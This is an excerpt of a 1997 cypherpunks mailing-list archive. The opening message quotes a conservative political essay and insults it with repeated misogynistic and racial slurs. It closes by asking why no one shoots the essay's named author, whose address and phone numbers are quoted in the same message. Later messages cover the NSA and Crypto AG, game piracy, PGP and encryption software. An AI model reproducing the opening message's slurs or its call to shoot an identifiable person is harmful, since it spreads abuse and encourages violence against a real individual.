> history. Every American knows how disenfranchised and powerless the
> average voter feels.  The media constantly trumpet instances of
> hypocrisy and corruption in our government, despite the fact that we
> have the most open and honest political system in the world.

  Hold it!
  <laugh> <barf> <laugh> <barf>
  OK, continue...

>   The
> United States Supreme Court has wrested much of the State's power from
> them with judicial activism.   This means that the people's
> representatives at the State level -- and therefore the people
> themselves -- have much less of a voice in their own government.
> On the state level, when people or local legislators finally manage to
> pass a conservative law regarding abortion, pornography or
> homosexuality, it is invariably challenged by Neo-liberal groups and
> struck down by higher courts, leading voters to ask themselves
> "Why bother participating in the process? We have no real voice in how
> things are run anyway!"

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  This is the communists doing this, again, right? Flouridated water,
etc?
 
> RULE FOR REVOLUTION #4:     ENCOURAGE PUBLIC BICKERING
> 
> THE RULE:
> Divide the people into hostile groups. Divide them against themselves by
> getting them to squabble about inconsequential social issues.
> 
> THE DUMB CUNT'S OPINION:
> Never before have so many trivial issues captured so much air time.
> Major construction and other projects are halted due to sometimes
> trivial environmental concerns.  Critical research which uses animals is
> halted or impeded by animal-rights groups.  Sodomy rights, old- growth
> timber, anti-fur, and dozens of other Neoliberal causes (and the
> conservative backlash) cause more friction among our nation's people
> than in any other nation in the world.
> 
> Meanwhile, the real issues of importance are either entirely neglected
> or paid weak lip service:   Crime, poverty, hunger and, beneath all of
> them, the moral disintegration of our country.   All of these have lead
> to despair among those affected and encourage violent change at any
> cost, with no thought given to the kind of change being fought for.
> Naturally, when conservatives react to Neoliberal initiatives with
> concrete action, they are painted as agents of "divisiveness" and
> "disunity," further leading to the impression that American society is
> composed entirely of squabbling special-interest groups.

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  If the Dumb Cunt (TM) and her right-wing bum-buddies would quit
opposing environmental concerns, animal-rights, sodomy and dozens 
of other Neoliberal causes, then there wouldn't be all of that 
bickering now, would there? 
  The TruthMonger of the fact is, the problem is that the "real issues
of importance" *_ARE_* the subject of "concrete action" by those who
have decided that their own conservative values should be legislated
into governmental existence in the interests of punishing and 
imprisoning those with different values.
  I've never seen anyone imprisoned for _not_ smoking a joint.
  Think about _that_ you Ignorant Nazi Bitch!

> RULE FOR REVOLUTION #5:      SEIZE POWER, THEN CENSOR
> 
> THE RULE:
> Always preach true democracy, but seize power as completely and
> ruthlessly as possible.  Vigorously censor viewpoints that conflict with
> ours.
> 
> THE DUMB CUNT'S OPINION:
> If the slightest complaint against pornography in our schools is raised
> by concerned parents, People for the American Way (PAW), the ACLU, and
> other left-wing groups instantly shout "censorship!"   But they say not
> a word when it is pointed out that the Bible and all mention of morality
> in textbooks have been ruthlessly hounded from the schools.
> 
> Religion has literally disappeared from our children's textbooks. The
> media relentlessly suppress the reasoning behind conservative and
> traditional viewpoints while reporting their version of the facts and
> claiming "impartiality."
> 
> Artists' demand that the people pay for their atrocities. When the
> people balk, the 'artists' whine about censorship. All traditional
> groups and viewpoints are fair game for ridicule; yet when was the last
> time you saw any 'artist' making fun of sodomites or women?
> 
> In other words, the censorship is all one-way. And the "pluralism"
> valued so much by the Neoliberals is entirely unilateral (one way only).
> 
> Communist atrocities which have killed more than 150 million all over
> the world are glossed over or ignored, but the most trivial
> international action by the United States brings immediate and forceful
> condemnation.

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  The Bibles were removed from the schools by the white Christian
kids barricaded inside, thowing the Bibles at the niggers, as they
tried to enter the school buildings. While waiting for the Bibles
to be replaced the students had nothing left to read but the
Constitution, and realized that the Bibles shouldn't have been
there in the first place.
  I would like to remind the Dumb Cunt that there are no laws
prohibiting her children from bowing and praying toward Mecca
three times a day, and it would probably do them some good.
  The rest of the points above merely serve to illustrate that
conservatives can't handle good acid, and should probably stick
to booze.
 
> RULE FOR REVOLUTION #6:       BANKRUPT THE GOVERNMENT
> 
> THE RULE:
> Encourage government extravagance on every front.
> Get the government deeply into debt. Get the people dependent on
> government by providing for their every need. This destroys their
> independence, motivation and strength.
> 
> THE DUMB CUNT'S OPINION:
> The United States is flat broke. It is the number one debtor nation on
> earth, with a deficit of more than $5,000,000,000,000 (five trillion
> dollars).   Social programs pay for everything from abortion and
> homosexual-run "sensitivity training sessions" to comprehensive sex
> education.
> 
> We are the most truly Socialistic society on earth, a nation
> of people addicted to entitlements, unable to break away from the ample
> government teat, people who scream at the top of our lungs if any
> cutbacks in services are proposed.
> 
> And yet, the Neoliberals want to spend even more.
> 
> They want us to fund family benefits for sodomites, a comprehensive
> health care plan that will inevitably turn into a Britain-like
> socialized horror, and "art" that is blatantly obscene.

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  I agree with the Dumb Cunt (TM) on this point. We need to fuck
away our money on billions and billions of dollars of nuclear arms,
weapons, surveillance equipment, secret agents and assassins, etc.
  A decent and moral society can only be ensured by buying 10,000
toilet seats for the Pentagon.
  (Jesus. You _really_are_ a Dumb Cunt (TM), aren't you?)
 
> RULE FOR REVOLUTION #7:       DESTROY NATIONAL VALUES
> 
> THE RULE:
> Cause a breakdown of indigenous national values.  Destroy all tradition
> in preparation for the bright dawn of glorious Socialism.  Ridicule
> religion, patriotism, and honesty. The people must be led to have only
> one interest:   Themselves!
> 
> THE DUMB CUNT'S OPINION:
> >From the public schools to the pulpits of Christian "churches," moral
> relativism and situational ethics are the rule of the day. The highest
> goods are compassion, nonjudgmentalism, and tolerance.
> Any individual weakness is treated as a problem of society, not of the
> person, and this relieves everyone of the responsibility of improving
> themselves.
> 
> Why should there be any effort to take responsibility for one's own
> faults when "society" is so conveniently ready to take the blame for all
> one's sins? Society has made the sacrifice.   So criminals, addicts,
> alcoholics, child molesters, wife beaters, and others can always blame
> their problems on society.
> 
> We have truly become the "me generation."

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  The Dumb Cunt (TM) is beginning to degenerate into drooling and
meaningless generalizations which make little sense.
 
> RULE FOR REVOLUTION #8:       ATTACK GUN OWNERSHIP
> 
> THE RULE:
> Control or register all firearms if possible. This will make their
> confiscation much easier when the time comes for revolution.
> 
> THE DUMB CUNT'S OPINION:
> When the Communist Revolution occurs in the United States, the last
> thing the Red Armies want to face is ten million determined and
> well-trained guerrillas (gun owners) taking potshots at them from around
> every corner.
> 
> The Communists don't want the equivalent of ten Afghanistans in the
> United States.
> 
> Although the objective of inhibiting gun ownership has not yet been
> completely met, there are dozens of bills and initiatives being
> submitted all over the country for compulsory gun registration,
> permitting, and other controls.   The Second Amendment is
> disregarded entirely as Neoliberals trumpet for all guns to be totally
> banned.
> After all, they say, thousands die from gun-related accidents and crimes
> every year. They fail to see that criminals will always get guns, a
> parallel to their own argument stating that, if abortion becomes
> illegal, women will still get abortions.

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  I guess it was a mistake for the Dumb Cunt (TM) and her right-wing
bum-buddies to join the left-wing sodomy artists in electing so
goddamn many Communist gun-snatchers to political office.
  I think we ought to give Hinkley his gun back, as soon as 
another Republican is elected President.

 > RULES FOR REVOLUTION #9 AND #10:    UNDERMINE THE ARMED FORCES
> 
> THE RULES:
> Destroy the reputation of the armed forces.
> Cause the young men to perceive military duty as distasteful and
> ridiculous. Fight registration of any kind, and encourage defections
> within the ranks.
> Cause the people to desire peace at any cost.   Cause them to oppose any
> and all of their government's actions regarding the strengthening or use
> of their armed forces.
> 
> THE DUMB CUNT'S OPINION:
> Our country's armed forces consume a vast percentage of our gross
> national product.
> We possess the best and most advanced weapons systems in the world. But
> our armed forces are a joke for two reasons:
> (1) they are completely restrained in their actions by a hostile
> Congress, and
> (2) the armed forces have been saddled with such a bad reputation that
> it is virtually impossible to fill the ranks with volunteers, even in
> the new and streamlined armed services.
> 
> Where serving in the armed forces was once considered patriotic and
> honorable (as it was in the former Soviet Union), it is now looked upon
> as foolish and 'anti-progressive.'
> 
> Servicemen are ridiculed and denigrated at every turn. People say that,
> if you can't make it on the outside, you wind up in the armed forces.
> 
> Every serviceman is considered to be a useless gobbler of tax money.

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  And all of the good soldiers, like Tim McVeigh, end up leaving.
 
> FINAL REALITY:  WELCOME TO AMERIKA, COMRADES.
> ================================================================
> The 'Rules for Revolution' described here are the most important actions
> that can be taken to weaken a country in order to prepare it for armed
> attack or a skillful coup d'etat.  These rules are summaries that are
> extracted from a number of books written by professional revolutionaries
> from the former Soviet Union, from other Communist-dominated countries,
> and from the United States itself.
> They are most concisely summarized in the 2,225 page, three-volume set
> Lenin: Selected Works , distributed in English by Progress Publishers,
> 21, Zubovsky Boulevard, Moscow.
> These general principles, dedicated to one of the most famous
> revolutionaries of all time, Vladimir Lenin, are studied by every
> Communist political scientist, and by every ambassador or emissary of
> any type who leaves the former Soviet Union.  They are also studied in
> great detail by many Americans.

THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
  Vladimir Lenin's best friend in the whole, wide world, is the Dumb
Cunt (TM) and her Nazi Christian bum-buddies. 
  The Godless Communists and the Nazi Christians could trade their
brochures and just interchange the words  "Commie" and "Christian."

  I wish I had a penny for every Dumb Cunt (TM) and Stupid Prick (TM)
who spent the majority of their time promoting the very same beliefs
as those they claim to oppose, the only difference being that their
'solution' is the MLM promoting of a 'god' with a different name,
or a 'flag' with a different 'hang time.'

> --
> Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp
> Victimization of Children/Research & Education Council of America
> 1304 SW 160th Avenue, Suite 122  Weston, Florida 33326
> Phone: (954) 349-0366   Fax: (954) 349-0361

  Why does it not come as a surprise that this Dumb Cunt Nazi Christian
Bitch (TM) is hiding behind 'the children,' hoping that it will prevent
her from being a target of reprisal for the bullshit she is flinging
at others?

Why doesn't someone shoot this Dumb Cunt Nazi Christian Bitch?
If it saves the life of just one child...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 3 Nov 1997 23:53:40 +0800
To: cypherpunks@Algebra.COM
Subject: Testing headers, ignore
Message-ID: <3.0.3.32.19971103154526.007a1390@pop3.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Test sent at 3:45pm 3/11/97 from c12


	          Paul Bradley	
            Paul@fatmans.demon.co.uk
       Http://www.cryptography.home.ml.org
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 4 Nov 1997 06:27:35 +0800
To: cypherpunks@toad.com
Subject: I Hold These Truths To Be Self-Evident
Message-ID: <345E4733.5069@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



BASIC TRUTHS
Everyone has a photographic memory.  Some don't have film. 
A day without sunshine is like, night.
Diplomacy is saying "nice doggy " until you find a rock. 
Change is inevitable, except from a vending machine.
Back up my hard drive? How do I put it in reverse?
I just got lost in thought. It was unfamiliar territory. 
When the chips are down, the buffalo is empty.
Seen it all, done it all, can't remember most of it. 
Those who live by the sword get shot by those who don't. 
I feel like I'm diagonally parked in a parallel universe. 
He's not dead, he's electroencephalographically challenged.
You have the right to remain silent. Anything you say will be 
misquoted, then used against you.
I wonder how much deeper would the ocean be without sponges.
Despite the cost of living, have you noticed how it remains so popular? 
Nothing is foolproof to a sufficiently talented fool.
Atheism is a non-prophet organization. 
He who laughs last, thinks slowest.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <steve@lvdi.net>
Date: Tue, 4 Nov 1997 10:29:07 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
In-Reply-To: <199711031235.NAA08077@basement.replay.com>
Message-ID: <v03102801b084142d971c@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:35 PM +0100 11/3/1997, Anonymous wrote:
>Gary Burnore had a mongo page at http://www.netscum.net/burnorg0.html.
>So did Paul Pomes, Belinda Bryan, and the rest of the Databasix gang.
>Too bad it's down for now, but it'll be back.


This looks like a job for Eternity Man!

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Tue, 4 Nov 1997 05:17:51 +0800
To: "John Kelsey" <kelsey@plnet.net>
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <199711021807.MAA30019@email.plnet.net>
Message-ID: <t53yb35r8pl.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone recently told me that game manufacturers have stopped worrying
about piracy.  Why?  Because most new games come on CD-ROM, and
copying a CD-ROM is an expensive, time-consuming operation.  Bulk
duplication of CD's is substantially cheaper than one-off duplication,
and since games are cheap, people will usually buy them rather than
copy them.

While the cost of one-off CD duplication will certainly drop, I see no
reason that media will not change form in the future.  As long as it's
cheaper or more convenient to buy digital media from the publisher
than to copy it yourself, the piracy problem basically doesn't exist.
This is exactly what makes copyright work for books: I can duplicate a
book, but it will cost more than buying it legitimately.  (There is
still the problem of systematic large-scale piracy, but this is
relatively easy to notice and prosecute under existing law.)

Short works (newspapers, magazines, journals, etc.) will need a
different mechanism, such as advertising, but that infrastructure is
creating itself today.

I'm unconvinced that there really is an Internet copyright problem,
outside of traditional media publishers inventing it.

		Marc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 4 Nov 1997 05:29:17 +0800
To: "Jim Choate" <cypherpunks@ssz.com>
Subject: Re: PGPsdk is out, but not for free (fwd)
Message-ID: <199711032113.QAA16739@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 11/1/97 5:02 PM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>Hmmm, will have to rethink suggesting any PGP based products to my customers
>now. I simply refuse to pay anybody any percentage of my product revenues
>simply because I use their tool. I buy a SDK for a flat fee like I buy a
>book, screwdriver, or a car. I can't imagine Black & Decker wanting a
>percentage of the house sale simply because the carpenter used their hammers
>and saws. Ford or Chevy wanting to see my income statement each year so they
>can figure out how much I owe them because I drive their brand of vehicle to
>my customers sites...yeah right.

 Have you ever priced earth moving equipment ... the price on them is 
easily 150-300% of what it should be, say comparing it to 'consumer' 
items, like cars and small pickups and extrapolating up for the backhoe 
or whatever ... everyone I talk to in the contracting business says the 
same thing,  "... its an item you are going to use to make money and they 
are taking a cut of your profits up front"


Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 	"The Box said Win '95 or better - So I used a Macintosh!"
 			 -- Harold Herbert Tessman			       






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 3 Nov 1997 13:26:37 +0800
To: Nobuki Nakatuji <bd1011@hotmail.com>
Subject: Re: S/MIME
In-Reply-To: <19971103044957.24885.qmail@hotmail.com>
Message-ID: <Pine.OSF.3.96.971103161155.2405A-100000@dodinas>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 2 Nov 1997, Nobuki Nakatuji wrote:

> Is S/MIME secure than PGP ?

Its hard to tell.  However PGP has a number of advangers over S/MIME,
it is better supported by cilents, PGP signtures are smaller then S/MIME
sigs.  In addtion S/MIME sigs normaly have encoded in them a lot of
infomation about the user makeing it very difficalt to use via an anon
remailer.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. 
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <steve@lvdi.net>
Date: Tue, 4 Nov 1997 10:08:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NSA, Crypto AG, and the Iraq-Iran Conflict
In-Reply-To: <BkQsuF3gzq4QYXew9s4okA==@bureau42.ml.org>
Message-ID: <v03102802b084195fcf84@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:17 PM +0000 11/3/1997, bureau42 Anonymous Remailer wrote:
>       NSA, Crypto AG, and the Iraq-Iran Conflict
>
>                    by J. Orlin Grabbe
[snip]
>	Crypto AG eventually paid one million dollars for
>Buehler's release in January 1993, then promptly fired
>him once they had reassured themselves that he hadn't
>revealed anything important under interrogation, and
>because Buehler had begun to ask some embarrassing
>questions. Then reports appeared on Swiss television,
>Swiss Radio International, all the major Swiss papers, and
>in German magazines like Der Spiegel.  Had Crypto AG's
>equipment been spiked by Western intelligence services?
>the media wanted to know. The answer was Yes [4].
>
[snip]
>
>	Representatives from NSA visited Crypto AG
>often. A memorandum of  a secret workshop at Crypto
>AG in August 1975, where a new prototype of an
>encryption device was demonstrated, mentions the
>participation of Nora L. Mackebee, an NSA
>cryptographer. Motorola engineer Bob Newman says that
>Mackebee was introduced to him as a "consultant".
>Motorola cooperated with Crypto AG in the seventies in
>developing a new generation of electronic encryption
>machines.   The Americans "knew Zug very well and gave
>travel tips to the Motorola people for the visit at Crypto
>AG," Newman told Der Spiegel.
>
>	Knowledgeable sources indicate that the Crypto
>AG enciphering process, developed in cooperation with
>the NSA and the German company Siemans, involved
>secretly embedding the decryption key in the cipher text.
>Those who knew where to look could monitor the
>encrypted communication, then extract the decryption key
>that was also part of the transmission, and recover the
>plain text message.  Decryption of a message by a
>knowledgeable third party was not any more difficult that
>it was for the intended receiver.  (More than one method
>was used.  Sometimes the algorithm was simply deficient,
>with built-in exploitable weaknesses.)

As I recall, this topic came up during a Cylink management meeting I
attended in late '92.  My recollection was that Cylink was asked by the
NSA/CIA to 'alter' some of its crypto units, which supposedly were being
sought by a Columbian cartele.  The party line was that we refused.  I
didn't follow up since I wasn't the product manager of that series.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Tue, 4 Nov 1997 06:15:04 +0800
To: Marc Horowitz <marc@cygnus.com>
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <t53yb35r8pl.fsf@rover.cygnus.com>
Message-ID: <Pine.GSO.3.95.971103163124.18441B-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On 3 Nov 1997, Marc Horowitz wrote:

> Someone recently told me that game manufacturers have stopped worrying
> about piracy.  Why?  Because most new games come on CD-ROM, and
> copying a CD-ROM is an expensive, time-consuming operation.  Bulk
> duplication of CD's is substantially cheaper than one-off duplication,
> and since games are cheap, people will usually buy them rather than
> copy them.

No, most game manufacturers have stopped worrying about piracy because no
matter wht ehy do about it, some cracker defeats it in under a week and
posts the whole game (or a useable subet) to the Internet.

Take Diablo, one of the more popular games of the last year.  It filled a
CD - 600 megabytes of sound, animations, etc.  It was *one* big file,
encrypted, with dlls stored inside it.

The guy who cracked it broke this in a week, chopped out a bunch of the
sounds that weren't adding anything to the game (most of the music, and
the voices of all the characters).  He ended up with 1 150 megabyte
version.  This got passed around the net.

This is *common*!  Over the last 20 years, the long-time game companies
have realized that it simply isn't worth th effort.  ID for example
doesn't even bother with a pretense of copy protection (at least with
Quake they didn't).  This probably contribted to the overwhelming success
of Quake.

In an even mildly technical group of friends, even teen-agers, somebody
probably has access to a CD-Rom burner.  It's trivial to spend a coupld of
days connnected to the net downloading the archives of a game, and burn
them onto a cCD to pass around to several friend to play.  (Or, have one
person buy the game, copy all the CDs, and return it.  This is trivial
with large computer chains such as CompUSA and Computer City)


Typically it will costy $6-$12 for a copy of a popular game in incremental
costs, with the game costing either $0 ro $50 depending on whether or not
someone wants the manuals (increasingly useless portion of the product,
BTW).  Startup hardwar costs are typicall $300-$500, and occassionally the
access is through work or school, reducing even this to virtually nothing.

It is interesting to note, however, that this problem seems to exist where
the lack of jobs and income prevent people from purchasing the games.
Typicall this is with students of middle-class (to upper-middle class)
families that are going to college and have little spare cash.  As soon as
this group begins to get the income necessary to support such a habit,
this trend changes.  So, I'm not sure it's something the game companies
care about, becuase they're simply locking in a portion of the market that
wasn't going to purchase the games anyway.

Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 4 Nov 1997 08:55:14 +0800
To: cypherpunks@Algebra.COM
Subject: NSA, Crypto AG, and the Iraq-Iran Conflict
Message-ID: <199711040042.QAA13874@netcom8.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

From: KALLISTE@delphi.com
Date: Mon, 03 Nov 1997 02:51:51 -0500 (EST)
Subject: SNET: NSA, Crypto AG, and the Iraq-Iran War
To: snetnews@world.std.com


- ->  SearchNet's   SNETNEWS   Mailing List

       NSA, Crypto AG, and the Iraq-Iran Conflict

                    by J. Orlin Grabbe

	One of the dirty little secrets of the 1980s is that 
the U.S. regularly provided Iraq's Saddam Hussein with 
top-secret communication intercepts by the U.S. National 
Security Agency (NSA).  Consider the evidence.

	When in 1991 the government of Kuwait paid the 
public relations firm of Hill & Knowlton ten million 
dollars to drum up American war fever against the evil 
dictator Hussein, it brought about the end of a long legacy 
of cooperation between the U.S. and Iraq.  Hill & 
Knowlton resurrected the World War I propaganda story 
about German soldiers roasting Belgian babies on 
bayonets, updated in the form of a confidential witness 
(actually the daughter of the Kuwaiti ambassador to the 
U.S.) who told Congress a tearful story of Iraqi soldiers 
taking Kuwaiti babies out of incubators and leaving them 
on the cold floor to die.  President George Bush then 
repeated this fabricated tale in speeches ten times over the 
next three days.

	What is remarkable about this staged turn of 
events is that, until then, Hussein had operated largely 
with U.S. approval.  This cooperation had spanned three 
successive administrations, starting with Jimmy Carter.  
As noted by John R. MacArthur, "From 1980 to 1988, 
Hussein had shouldered the burden of killing about 
150,000 Iranians, in addition to at least thirteen thousand 
of his own citizens, including several thousand unarmed 
Kurdish civilians, and in the process won the admiration 
and support of elements of three successive U.S. 
Administrations" [1].

	Hussein's artful slaughter of Iranians was aided by 
good military intelligence.  The role of NSA in the 
conflict is an open secret in Europe, the Middle East, and 
Asia.  Only in this country has there been a relative news 
blackout, despite the fact that it was the U.S. 
administration that let the crypto cat out of the bag.  

	First, U.S. President Ronald Reagan informed the 
world on national television that the United States was 
reading Libyan communications.  This admission was part 
of a speech justifying the retaliatory bombing of Libya for 
its alleged involvement in the La Belle discotheque 
bombing in Berlin's Schoeneberg district, where two U.S. 
soldiers and a Turkish woman were killed, and 200 others 
injured. Reagan wasn't talking about American 
monitoring of Libyan news broadcasts. Rather, his "direct, 
precise, and undeniable proof"  referred to secret 
(encrypted) diplomatic communication between Tripoli 
and the Libyan embassy in East Berlin.

	Next, this leak was compound by the U.S. 
demonstration that it was also reading secret Iranian 
communications.  As reported in Switzerland's Neue 
Zrcher Zeitung,  the U.S. provided the contents of 
encrypted Iranian messages to France to assist in the 
conviction of Ali Vakili Rad and Massoud Hendi for the 
stabbing death in the Paris suburb of Suresnes of the 
former Iranian prime minister Shahpour Bakhtiar and his 
personal secretary Katibeh Fallouch. [2]
	
	What these two countries had in common was they 
had both purchased cryptographic communication 
equipment from the Swiss firm Crypto AG. Crypto AG 
was founded in 1952 by the (Russian-born) Swedish 
cryptographer Boris Hagelin who located his company in  
Zug.  Boris had created the "Hagelin-machine", a 
encryption device similar to the German "Enigma".  The 
Hagelin machine was used on the side of the Allies in 
World War II.

	Crypto AG was an old and venerable firm, and 
Switzerland was a neutral country. So Crypto AG's 
enciphering devices for voice communication and digital 
data networks were popular, and customers came from 
130 countries. These included the Vatican, as well the 
governments of Iraq, Iran, and Libya.  Such countries 
were naturally skeptical of cryptographic devices sold in 
many NATO countries, so turned to relatively neutral 
Switzerland for communication security.

	Iran demonstrated its suspicion about the source of 
the leaks, when it arrested Hans Buehler, a top salesman 
for Crypto AG, in Teheran on March 18, 1992.  During 
his nine and a half months of solitary confinement in Evin 
prison in Teheran, Buehler was questioned again and 
again whether he had leaked Teheran's codes or Libya's 
keys to Western powers.  Luckily Buehler didn't know 
anything.  He in fact believed in his own sales pitch that 
Crypto AG was a neutral company and its equipment was 
the best.  They were Swiss, after all.  [3]

	Crypto AG eventually paid one million dollars for 
Buehler's release in January 1993, then promptly fired 
him once they had reassured themselves that he hadn't 
revealed anything important under interrogation, and 
because Buehler had begun to ask some embarrassing 
questions. Then reports appeared on Swiss television, 
Swiss Radio International, all the major Swiss papers, and 
in German magazines like Der Spiegel.  Had Crypto AG's 
equipment been spiked by Western intelligence services? 
the media wanted to know. The answer was Yes [4].

	 Swiss television traced the ownership of Crypto 
AG to a company in Liechtenstein, and from there back to 
a trust company in Munich. A witness appearing on Swiss 
television explained the real owner was the German 
government--the Federal Estates Administration. [5]

	According to Der Spiegel, all but 6 of the 6000 
shares of Crypto AG were at one time owned by Eugen 
Freiberger, who resided in Munich and was head of the 
Crypto AG managing board in 1982. Another German, 
Josef Bauer, an authorized tax agent of the Muenchner 
Treuhandgesellschaft KPMG, and who was elected to the 
managing board in 1970, stated that his mandate had 
come from the German company Siemens.  Other 
members of Crypto AG's management had also worked at 
Siemens. Was the German secret service, the 
Bundesnachrichtendienst (BND), hiding behind the 
Siemens' connection?

	So it would seem.  Der Spiegel reported that in 
October 1970, a secret meeting of the BND had discussed 
how the Swiss company Graettner could be guided into 
closer cooperation with Crypto AG, or could even merged 
with it. The BND additionally considered how "the 
Swedish company Ericsson could be influenced through 
Siemens to terminate its own cryptographic business." [6]

	A former employee of Crypto AG reported that he 
had to coordinate his developments with "people from 
Bad Godesberg". This was the location of the "central 
office for encryption affairs" of the BND, and the service 
instructed Crypto AG what algorithms to use to create the 
codes.  The employee also remembers an American 
"watcher", who strongly demanded the use of certain 
encryption methods.

	Representatives from NSA visited Crypto AG 
often. A memorandum of  a secret workshop at Crypto 
AG in August 1975, where a new prototype of an 
encryption device was demonstrated, mentions the 
participation of Nora L. Mackebee, an NSA 
cryptographer. Motorola engineer Bob Newman says that 
Mackebee was introduced to him as a "consultant".  
Motorola cooperated with Crypto AG in the seventies in 
developing a new generation of electronic encryption 
machines.   The Americans "knew Zug very well and gave 
travel tips to the Motorola people for the visit at Crypto 
AG," Newman told Der Spiegel.

	Knowledgeable sources indicate that the Crypto 
AG enciphering process, developed in cooperation with 
the NSA and the German company Siemans, involved 
secretly embedding the decryption key in the cipher text.  
Those who knew where to look could monitor the 
encrypted communication, then extract the decryption key 
that was also part of the transmission, and recover the 
plain text message.  Decryption of a message by a 
knowledgeable third party was not any more difficult that 
it was for the intended receiver.  (More than one method 
was used.  Sometimes the algorithm was simply deficient, 
with built-in exploitable weaknesses.)

	Crypto AG denies all this, of course, saying such 
reports are ""pure invention".

	What information was provided to Saddam 
Hussein exactly?  Answers to this question are currently 
being sought in a lawsuit against NSA in New Mexico, 
which has asked to see "all Iranian messages and 
translations between January 1, 1980 and June 10, 1996". 
[7]

	The passage of top-secret communications 
intelligence to someone like Saddam Hussein brings up 
other questions.  Which dictator is the U.S. passing top 
secret messages to currently?  Jiang Zemin?  Boris 
Yeltsin?  

	Will Saddam Hussein again become a recipient of 
NSA largess if he returns to the mass slaughter of 
Iranians?  What exactly is the purpose of NSA anyway?

	One more question:  Who is reading the Pope's 
communications?

                   Bibliography

[1] John R. MacArthur, Second Front: Censorship and 
Propaganda in the Gulf War, Hill and Wang, New York, 
1992.

[2] Some of the background of this assassination can be 
found in "The Tehran Connection," Time Magazine, 
March 21, 1994.

[3] The Buehler case is detailed in Res Strehle, 
Verschleusselt: der Fall Hans Beuhler, Werd Verlag, 
Zurich, 1994.  

[4] "For years, NSA secretly rigged Crypto AG machines 
so that U.S. eavesdroppers could easily break their codes, 
according to former company employees whose story is 
supported by company documents,"  "No Such Agency, 
Part 4: Rigging the Game," The Baltimore Sun, December 
4, 1995.

[5] Reported in programs about the Buehler case that were 
broadcast on Swiss Radio International on May 15, 1994 
and July 18, 1994.

[6]  "Wer ist der befugte Vierte?":  Geheimdienste 
unterwandern den Schutz von Verschlusselungsgeraten," 
Der Spiegel 36, 1996.

[7] U.S. District Court for the District of New Mexico, 
William H. Payne, Arthur R. Morales, Plaintiffs, v. 
Lieutenant General Kenneth A. Minihan, USAF, Director 
of National Security Agency, National Security Agency, 
Defendant, CIV NO 97 0266 SC/DJS.



- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: KALLISTE@delphi.com


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Russell" <jrussell@syncrypt.com>
Date: Tue, 4 Nov 1997 06:05:50 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: SynCrypt: the new PGP?
Message-ID: <01bce8a2$032602e0$2901320a@Polaris.domain>
MIME-Version: 1.0
Content-Type: text/plain



>>Anybody heard of syncrypt?

I have.  Of course, being one of its authors, that's to be expected.

>>File wiping, group encryption, automatic encryption of files put in
certain directories... hiding encrypted files in pictures!

True, true, true and true.  I might add that the Secure Delete file wiping
passes Kent Briggs' "Directory Snoop" check on Windows 95.

>>It pulls them back out again too.

We'd have some unhappy customers if it didn't. <g>

>>Plus it has an interesting "20 questions" method for backing up your
passphrase.

For the algorithmically inclined among us, this was implemented via Shamir's
secret-sharing scheme.  There was also a great deal of discussion about what
questions to ask -- "What's your favorite color?" doesn't provide as much
entropy as "What was the last name of your favorite grade school teacher?",
for example.

>>Bruce Schneier is working with them, so they should have good crypto.

